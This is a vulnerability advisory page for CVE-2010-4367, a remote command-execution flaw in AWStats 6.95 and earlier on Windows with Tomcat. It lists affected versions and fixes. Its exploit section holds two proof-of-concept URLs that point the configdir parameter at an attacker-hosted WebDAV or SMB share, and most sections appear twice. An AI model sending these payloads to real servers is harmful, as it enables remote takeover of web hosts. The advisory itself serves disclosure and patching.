Awstats Apache Tomcat Configuration File Remote Arbitrary Command Execution Vulnerability
BID:45123
Info
Awstats Apache Tomcat Configuration File Remote Arbitrary Command Execution Vulnerability
| Bugtraq ID: | 45123 |
| Class: | Input Validation Error |
| CVE: |
CVE-2010-4367 |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 30 2010 12:00AM |
| Updated: | Feb 21 2011 06:19PM |
| Credit: | StenoPlasma |
| Vulnerable: |
MandrakeSoft Enterprise Server 5 x86_64 MandrakeSoft Enterprise Server 5 AWStats AWStats 6.95 AWStats AWStats 6.9 AWStats AWStats 6.8 |
| Not Vulnerable: |
AWStats AWStats 7.0 |
Discussion
Awstats Apache Tomcat Configuration File Remote Arbitrary Command Execution Vulnerability
Awstats is prone to an arbitrary command-execution vulnerability. This issue occurs when Awstats is used along with Apache Tomcat in Microsoft Windows.
An attacker can exploit this vulnerability to execute arbitrary shell commands in the context of the webserver process. This may help attackers compromise the underlying system; other attacks are also possible.
AWStats 6.95 and prior versions are vulnerable.
Awstats is prone to an arbitrary command-execution vulnerability. This issue occurs when Awstats is used along with Apache Tomcat in Microsoft Windows.
An attacker can exploit this vulnerability to execute arbitrary shell commands in the context of the webserver process. This may help attackers compromise the underlying system; other attacks are also possible.
AWStats 6.95 and prior versions are vulnerable.
Exploit / POC
Awstats Apache Tomcat Configuration File Remote Arbitrary Command Execution Vulnerability
The following exploit data is available:
Attacking Windows XP Apache Tomcat AWStats Server:
http://www.example.com/cgi-bin/awstats.cgi?config=attacker&pluginmode=rawlog&configdir=\\Attacker-IPAddress:80\webdav
Attacking Windows 2003 or Windows XP AWStats Server:
http://www.example.com/cgi-bin/awstats.cgi?config=attacker&pluginmode=rawlog&configdir=\\Attacker-IPAddress\SMB-Share
The following exploit data is available:
Attacking Windows XP Apache Tomcat AWStats Server:
http://www.example.com/cgi-bin/awstats.cgi?config=attacker&pluginmode=rawlog&configdir=\\Attacker-IPAddress:80\webdav
Attacking Windows 2003 or Windows XP AWStats Server:
http://www.example.com/cgi-bin/awstats.cgi?config=attacker&pluginmode=rawlog&configdir=\\Attacker-IPAddress\SMB-Share
Solution / Fix
Awstats Apache Tomcat Configuration File Remote Arbitrary Command Execution Vulnerability
Solution:
Updates are available. Please see the references for more information.
MandrakeSoft Enterprise Server 5 x86_64
MandrakeSoft Enterprise Server 5
Solution:
Updates are available. Please see the references for more information.
MandrakeSoft Enterprise Server 5 x86_64
-
Mandriva awstats-7.0-0.1mdvmes5.1.noarch.rpm
http://www.mandriva.com/en/download/
MandrakeSoft Enterprise Server 5
-
Mandriva awstats-7.0-0.1mdvmes5.1.noarch.rpm
http://www.mandriva.com/en/download/
References
Awstats Apache Tomcat Configuration File Remote Arbitrary Command Execution Vulnerability
References:
References:
- AWStats Changelog (AWStats)
- AWStats Homepage (AWStats)
- www.ExploitDevelopment.com 2010-WEB-001 (Exploit Development)